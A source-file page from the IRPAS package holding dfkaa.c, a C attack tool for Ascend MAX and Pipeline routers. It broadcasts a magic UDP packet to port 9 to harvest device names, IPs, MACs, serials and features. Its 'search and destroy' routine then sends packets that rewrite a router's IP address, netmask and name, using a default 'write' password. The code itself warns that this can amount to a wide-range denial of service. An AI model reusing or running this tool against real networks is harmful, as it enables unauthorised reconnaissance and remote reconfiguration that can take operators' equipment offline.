File: dfkaa.c

package info (click to toggle)
irpas 0.10-4.1
  • links: PTS
  • area: non-free
  • in suites: jessie, jessie-kfreebsd, lenny, squeeze, wheezy
  • size: 412 kB
  • ctags: 973
  • sloc: ansic: 7,385; makefile: 145
file content (512 lines) | stat: -rw-r--r-- 15,086 bytes parent folder | download | duplicates (4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
/* DFKAA 
 * Devices Formerly Known As Ascend 
 *
 * FX <fx@phenoelit.de>
 * Phenoelit (http://www.phenoelit.de/)
 *
 * $Id: dfkaa.c,v 1.22 2001/10/21 17:19:33 fx Exp fx $
 *
 * 	This is the Trans-Atlantic part of IRPAS. Written 11300 meters
 * 	above the atlantic ocean, on the way from San Francisco to the
 * 	Phenoelit Solarophob Lab home in Germany at a speed of 950 km/h.
 * 	
 */

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>

#include <protocols.h>
#include <packets.h>
#include <build.h>
#include <enum.h>

typedef struct {
    u_int8_t		protover[2]	__attribute__ ((packed));	
    					/* ? - but good guess */
    u_int8_t		magic[4]	__attribute__ ((packed));	
    					/* magic number the NavisConnect tool 
					   sends out and the pipe copies 
					   07 a2 08 12 */
    u_int8_t		ipaddr[4]	__attribute__ ((packed));	
    u_int8_t		netmask[4]	__attribute__ ((packed));
    u_int8_t		serial[4]	__attribute__ ((packed)); 
    u_int8_t		macaddr[6]	__attribute__ ((packed));
    u_int8_t		group		__attribute__ ((packed)); 	
    					/* 0 = Unknown
					   1 = Multiband
					   2 = Max
					   3 = Pipeline */
    u_int8_t		devtype		__attribute__ ((packed));	
    u_int8_t		flag		__attribute__ ((packed));	
    u_int8_t		name[16]	__attribute__ ((packed));
    u_int8_t		sep1[1]		__attribute__ ((packed));
    u_int8_t		password[20]	__attribute__ ((packed));
    u_int8_t		sep2[1]		__attribute__ ((packed));
    u_int8_t		unknown[1]	__attribute__ ((packed));
    u_int16_t		feature1	__attribute__ ((packed));
    u_int16_t		feature2	__attribute__ ((packed));
    u_int16_t		feature3	__attribute__ ((packed));
    u_int16_t		feature4	__attribute__ ((packed));

    /* Features are (with some knowledge where to apply these ...) 
     * 	A)	MRATE = 128
     * 		X21 = 32
     * 		V24BIS = 16
     * 		RS366 = 8
     * 		Dynamic = 2
     * 		NBY = 1
     * 	C)	R2_SIGNALING = 128
     * 		DATACALL = 32
     * 		DUAL_SLOT_T1 = 16
     * 		MODEM_TSDIALOUT = 4
     * 		SERIAL_PORT_T1_CSU = 1
     *
     * 	don't know where these apply
     * 		IPSEC_UNKNOWN = -1;
     * 		IPSEC_NOTINST = 0;
     * 		IPSEC_AUTHONLY = 1;
     * 		IPSEC_40BIT = 2;
     * 		IPSEC_56BIT = 3;
     * 		IPSEC_UNLIMITED = 4;
     *
     */
} adp_t;	/* I call it Ascend Discovery Protcol - it does not work 
		   like CDP (Cisco Discovery Protocol), but leaks information
		   in the same way */

typedef struct {
    int major;
    int minor;
    char *name;
} ascend_device_t;

/* maximum number of defined major system id's */
#define MAX_MAJOR 3
/* the maximum minor number per major */
static int minors[MAX_MAJOR+1] = {0,0,11,28};
/* system id table */
static ascend_device_t table[] = {
    { 0, 0, "unknown - answer is 0.0"},

    { 1, 0, "Ascend Multiband - unknown model 0"},

    { 2, 0, "Ascend MAX - unknown model 0"},
    { 2, 1, "Ascend MAX 200"},
    { 2, 2, "Ascend MAX 1800"},
    { 2, 3, "Ascend MAX 2000"},
    { 2, 4, "Ascend MAX 4000"},
    { 2, 5, "Ascend MAX 4002"},
    { 2, 6, "Ascend MAX 4004"},
    { 2, 7, "Ascend MAX - unknown model 7"},
    { 2, 8, "Ascend MAX - unknown model 8"},
    { 2, 9, "Ascend MAX - unknown model 9"},
    { 2, 10, "Ascend MAX - unknown model 10"},
    { 2, 11, "Ascend DSL Terminator 100 (MAX 1800 chasis)"},

    { 3, 0 , "Ascend Pipeline - unknown model 0" },
    { 3, 1 , "Ascend Pipeline 15" },
    { 3, 2 , "Ascend Pipeline 25" },
    { 3, 3 , "Ascend Pipeline 25 Px" },
    { 3, 4 , "Ascend Pipeline 25 Fx" },
    { 3, 5 , "Ascend Pipeline 50" },
    { 3, 6 , "Ascend Pipeline 75" },
    { 3, 7 , "Ascend Pipeline 130" },
    { 3, 8 , "Ascend Pipeline 400" },
    { 3, 9 , "Ascend Pipeline 25 IP" },
    { 3, 10 , "Ascend Pipeline 25 IPX" },
    { 3, 11 , "Ascend Pipeline 50 BRI" },
    { 3, 12 , "Ascend Pipeline 50 S56" },
    { 3, 13 , "Ascend Pipeline 50 BRI FR" },
    { 3, 14 , "Ascend Pipeline 50AT" },
    { 3, 15 , "Ascend Pipeline 75AT" },
    { 3, 16 , "Ascend Pipeline 50 IPsec" },
    { 3, 17 , "Ascend Pipeline 75 IPsec" },
    { 3, 18 , "Ascend Pipeline DSL (CellPipe)" },
    { 3, 19 , "Ascend Pipeline 75 version 2" },
    { 3, 20 , "Ascend Pipeline - unknown type 20" },
    { 3, 21 , "Ascend Pipeline 130AT" },
    { 3, 22 , "Ascend Pipeline - unknown type 22" },
    { 3, 23 , "Ascend Pipeline 95 or DSL-50S-CELL" },
    { 3, 24 , "Ascend Pipeline 155" },
    { 3, 25 , "Ascend Pipeline DSL (CellPipe SDSL)" },
    { 3, 26 , "Ascend Pipeline - unknown type 26" },
    { 3, 27 , "Ascend Pipeline 155 V35 (SuperPipe)" },
    { 3, 28 , "Ascend Pipeline 155 E1 (SuperPipe)" },
}; 

int scan_ascend(int verbose);
void print_adp(adp_t *a,int verbose);
char *getdevname(int a, int b);

#define DEFAULT_PING_TIME	5
struct {
    int verbose;
    int flist;		/* list features if known - works only on MAX */
    int ping;		/* same as pingtimout on enum */
    int cont;		/* don't stop listening when one respond (for bcast) */

    int set;		/* set IP !!! */
    char *nname;	/* new name */
    char *pass;		/* SNMP write password */
    struct in_addr nip; /* new ip addr */
    struct in_addr nnm; /* new net mask */
} cfg;

int main(int argc,char **argv) {
    int		n=0;
    char	o;
    extern int	optind;
    extern char *optarg;
    // char	default24[] = "255.255.255.0";

    printf("DFKAA - Devices Formerly Known As Ascend\n"
	    "FX <fx@phenoelit.de> - http://www.phenoelit.de/\n"
	    "$Revision: 1.22 $ - IRPAS Build %s\n"
	    "(c) 2001++\n\n",BUILD);

    memset(&cfg,0,sizeof(cfg));
    cfg.ping=DEFAULT_PING_TIME;
    // inet_aton(default24,&(cfg.nnm));
    while ((o=getopt(argc,argv,"vfcp:S:P:I:M:N:"))!=EOF) {
	switch (o) {
	    case 'v':	cfg.verbose++;
			break;
	    case 'f':	cfg.flist++;
			break;
	    case 'c':	cfg.cont++;
			break;
	    case 'p':	cfg.ping=atoi(optarg);
			break;

	    case 'S':	cfg.set=1; /* force set */
			break;
	    case 'P':	cfg.pass=smalloc(strlen(optarg)+1);
			strcpy(cfg.pass,optarg);
			break;
	    case 'I':	if (inet_aton(optarg,&(cfg.nip))==0) {
			    fprintf(stderr,"%s is not a valid IP addr\n",
				    optarg);
			    exit(-1);
			}
			cfg.set=1;
			break;
	    case 'M':	if (inet_aton(optarg,&(cfg.nnm))==0) {
			    fprintf(stderr,"%s is not a valid netmask\n",
				    optarg);
			    exit(-1);
			}
			cfg.set=1;
			break;
	    case 'N':	cfg.nname=smalloc(strlen(optarg)+1);
			strcpy(cfg.nname,optarg);
			cfg.set=1;
			break;
	    default:	fprintf(stderr,"Usage ... well. Look into the .c\n");
			exit(1);
	}
    }

    if (getuid()!=0) { fprintf(stderr,"Requires root !\n"); return (1); }

    if (cfg.set==1) {
	cfg.cont=1;
	/* if setting, password defaults to "write" */
	if (cfg.pass==NULL) {
	    cfg.pass=smalloc(strlen("write")+1);
	    strcpy(cfg.pass,"write");
	}
    }
    
    if (optind==argc-1) {
	if (cfg.verbose) { 
	    printf("enumeration in progress ...\n"); 
	    fflush(stdout); 
	}
	if ((n=enumerate(argv[optind],
			cfg.ping, cfg.verbose))<0) {
	    printf("error in enumerate\n");
	} else {
	    if (cfg.verbose) {
		printf("%d potential targets found\n",n);
		enum_print();
	    }
	}
    } else {
	fprintf(stderr,"\n%s [-p <enum ping timeout>] [-v] [-c] [-f]\n"
		"\t[-P <password>] [-N <new name>] [-I <new ip>]"
		" [-M <new netmask>]\n\t<destination>\n\n"
		"\tIf timeout is >0, pings are used to enum\n"
		"\tIf timeout is 0, every host is probed\n",
		argv[0]);
    }

    if (n<=0) return (-1);
    if ((n>1)&&(cfg.set==1)) {
	fprintf(stderr,"\n\n----WARNING----\n\n"
		"\tconfiguration request for multiple targets\n"
		"\tTHIS MAY BE A WIDE RANGE DENIAL OF SERVICE ATTACK\n\n"
		"\tPress CTRL-C during the next 5 seconds\n\n");
		sleep(1); fprintf(stderr,"..4\n");
		sleep(1); fprintf(stderr,"..3\n");
		sleep(1); fprintf(stderr,"..2\n");
		sleep(1); fprintf(stderr,"..1\n");
		sleep(1); fprintf(stderr,"0\n");
    }

    if (scan_ascend(cfg.verbose)>(-1)) {
	printf("\nscan completed\n");
    }

    enum_free();
    return 0;
}


int scan_ascend(int verbose) {
#define TIMER	2
    int			udpsfd;
    int			icmps;
    adp_t		packet,answer,intruder;
    enum_target_t	*p;
    struct sockaddr_in	sin;
    struct sockaddr_in	frm;
    socklen_t		frmlen;
    unsigned long	t1;
    int			rlen,ilen;
    u_char		ipack[sizeof(iphdr_t)+sizeof(icmphdr_t)+64];
    icmphdr_t		*ic;
    iphdr_t		*ip2;
    udphdr_t		*udp2;
    int			setting_done;

    if ((udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
	perror("socket()");
	return (-1);
    }
    if (makebcast(udpsfd)!=0) return (-1);
    makenonblock(udpsfd);
    memset(&packet,0,sizeof(packet));
    packet.magic[0]=0x07;
    packet.magic[1]=0xa2;
    packet.magic[2]=0x08;
    packet.magic[3]=0x12;

    if ((icmps=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) {
	perror("socket(IPPROTO_ICMP)");
	return (-1);
    }
    makenonblock(icmps);
    memset(&ipack,0,sizeof(ipack));

    p=enum_anchor;
    while (p!=NULL) {
	memset(&answer,0,sizeof(answer));
	memset(&sin,0,sizeof(struct sockaddr_in));
	memset(&frm,0,sizeof(struct sockaddr_in));

	if (verbose) 
	    printf("Request to %s\n",inet_ntoa(p->addr));

	sin.sin_family=AF_INET;
	sin.sin_port=htons(9);	/* discard */
	memcpy(&(sin.sin_addr),&(p->addr),sizeof(sin.sin_addr));
	if (sendto(udpsfd,&packet,sizeof(packet),0,
		    (struct sockaddr *)&sin,
		    sizeof(struct sockaddr_in))<=0) {
	    perror("sendto()");
	    return(-1);
	}

	setting_done=0;
	t1=(unsigned long)time(NULL);
	while ((unsigned long)time(NULL)<(t1+TIMER)) {
	    
	    frmlen=sizeof(struct sockaddr_in);
	    if ((rlen=recvfrom(udpsfd,(void *)&answer,sizeof(answer),0,
			(struct sockaddr *)&frm,&frmlen))>0) {
		if (rlen<sizeof(adp_t)) {
		    fprintf(stderr,"Packet to short: %d\n",rlen);
		} else {
		    if (verbose) 
			printf("Answer from %s\n",inet_ntoa(frm.sin_addr));
		    print_adp(&answer,verbose);

		    /* +++++++++++++++++++
		     * SEARCH AND DESTROY 
		     * +++++++++++++++++++ */
		    if ((setting_done==0)&&(cfg.set==1)) {
			memcpy(&intruder,&answer,sizeof(answer));

			intruder.flag=2;
			if (*((u_int32_t *)&(cfg.nip.s_addr))!=0) {
			    memcpy(&(intruder.ipaddr),&(cfg.nip.s_addr),4);
			}
			if (*((u_int32_t *)&(cfg.nnm.s_addr))!=0) {
			    memcpy(&(intruder.netmask),&(cfg.nnm.s_addr),4);
			}
			if (cfg.nname!=NULL) {
			    memset(&(intruder.name),0,16);
			    memcpy(&(intruder.name),cfg.nname,
				    strlen(cfg.nname));
			}
			memcpy(&(intruder.password),cfg.pass,strlen(cfg.pass));

			sin.sin_family=AF_INET;
			sin.sin_port=htons(9);	/* discard */
			memcpy(&(sin.sin_addr),&(frm.sin_addr),
				sizeof(sin.sin_addr));
			if (sendto(udpsfd,&intruder,sizeof(intruder),0,
				    (struct sockaddr *)&sin,
				    sizeof(struct sockaddr_in))<=0) {
			    perror("sendto()");
			    return(-1);
			}
			setting_done=1;
		    }
		    if (!cfg.cont) break; /* out of while loop */
		}
	    }

	    frmlen=sizeof(struct sockaddr_in);
	    if ((ilen=recvfrom(icmps,(void *)&ipack,sizeof(ipack),0,
			(struct sockaddr *)&frm,&frmlen))>0) {
		/* ICMP message ... */
		ic=(icmphdr_t *)(((void *)&ipack)+sizeof(iphdr_t));
		ip2=(iphdr_t *)(((void *)&ipack)+sizeof(iphdr_t)+
			sizeof(icmphdr_t)+4);
		udp2=(udphdr_t *)(((void *)&ipack)+2*sizeof(iphdr_t)+
			sizeof(icmphdr_t)+4);
		if ((ic->type==ICMP_DEST_UNREACH)&&(ntohs(udp2->dport)==9)) {
		    if (ic->type==ICMP_UNREACH_PORT) {
			printf("HINT: %s reports port unreachable on",
				inet_ntoa(frm.sin_addr));
			printf(" %s\n",inet_ntoa(ip2->daddr));
		    } else if (ic->type==ICMP_UNREACH_ADMIN1) {
			printf("%s reports filter for",
				inet_ntoa(frm.sin_addr));
			printf(" %s\n",inet_ntoa(ip2->daddr));
		    } else if (ic->type==ICMP_UNREACH_FIREWALL) {
			printf("%s reports filter (FW) for",
				inet_ntoa(frm.sin_addr));
			printf(" %s\n",inet_ntoa(ip2->daddr));
		    }
		}
	    }
		
	}
	p=p->next;
    }

    close(udpsfd);
    close(icmps);
    return 0;
}

void print_adp(adp_t *a,int verbose) {
    char		buf[17];
    struct in_addr	addr;

    memset(&buf,0,sizeof(buf));
    /* name */
    memcpy((char *)&buf,(char *)&(a->name),16);
    printf(">>%s<<\n",buf);
    /* answer */ 
    switch (a->flag) {
	case 0:	printf("\t[Probe packet]\n"); break;
	case 1:	printf("\t[Probe response]\n"); break;
	case 2:	printf("\t[Write access requested]\n"); break;
	case 3:	printf("\t[Write access granted]\n"); break;
	case 4:	printf("\t[Write access denied - wrong password]\n"); break;
	case 5:	printf("\t[Write access denied - general]\n"); break;
	default: printf("\t[FLAG UNKNOWN]\n"); 
    }
    /* proto */
    printf("\tADP version:\t%d\n",*((u_int16_t *)&(a->protover)));
    /* MAC */
    printf("\tMAC addr:\t%02X:%02X:%02X:%02X:%02X:%02X\n",
	    a->macaddr[0], a->macaddr[1], a->macaddr[2],
	    a->macaddr[3], a->macaddr[4], a->macaddr[5]);
    /* IP */
    memcpy(&addr,&(a->ipaddr),4);
    printf("\tIP addr:\t%s/",inet_ntoa(addr));
    /* netmask */
    memcpy(&addr,&(a->netmask),4);
    printf("%s\n",inet_ntoa(addr));
    /* serial */
    printf("\tSerial number:\t%d\n",ntohl(*((u_int32_t *)&(a->serial))));

    /* Device type */
    printf("\tDevice type:\t");
    if (a->group>MAX_MAJOR) { 
	printf("TOTALY UNKNOWN %d.%d\n",a->group,a->devtype);
	printf("If you know what type it is, send email to fx@phenoelit.de\n");
    } else {
	if (a->devtype>minors[a->group]) {
	    switch (a->group) {
		case 0: printf("error reported\n");
			break;
		case 1: printf("Multiband device number %d\n",a->devtype);
			break;
		case 2: printf("Ascend MAX device number %d\n",a->devtype);
			break;
		case 3: printf("Ascend Pipeline device number %d\n",a->devtype);
			break;
	    }

	    printf("If you know what type it is,"
		    " send email to fx@phenoelit.de\n");
	} else {
	    /* OK, ok - we know it */
	    printf("%s\n",getdevname(a->group,a->devtype));
	}
    }

    printf("\tFeatures:\t%04x %04x %04x %04x\n",
	    htons(a->feature1),htons(a->feature2),
	    htons(a->feature3),htons(a->feature4));
    if (cfg.flist) {
	if ((htons(a->feature1)&128)>0) printf("\t\t\t* MRATE\n");
	if ((htons(a->feature1)&32)>0) printf("\t\t\t* X21\n");
	if ((htons(a->feature1)&16)>0) printf("\t\t\t* V24BIS\n");
	if ((htons(a->feature1)&8)>0) printf("\t\t\t* RS366\n");
	if ((htons(a->feature1)&2)>0) printf("\t\t\t* Dynamic\n");
	if ((htons(a->feature1)&1)>0) printf("\t\t\t* NBY\n");

	if ((htons(a->feature3)&128)>0) printf("\t\t\t* R2 Signaling\n");
	if ((htons(a->feature3)&32)>0) printf("\t\t\t* DATACALL\n");
	if ((htons(a->feature3)&16)>0) printf("\t\t\t* Dual-Slot T1\n");
	if ((htons(a->feature3)&4)>0) printf("\t\t\t* Modem TS Dialout\n");
	if ((htons(a->feature3)&1)>0) printf("\t\t\t* Serial Port T1 CSU\n");
    }
}

char *getdevname(int a,int b) {
    int 	i;
    int		known_devs=0;

    for (i=0;i<=MAX_MAJOR;i++) known_devs+=minors[i]+1;

    for (i=0;i<known_devs;i++) {
	if (
		(table[i].major==a)
		&&
		(table[i].minor==b)
		) {
	    return table[i].name;
	}
    }

    return NULL;
}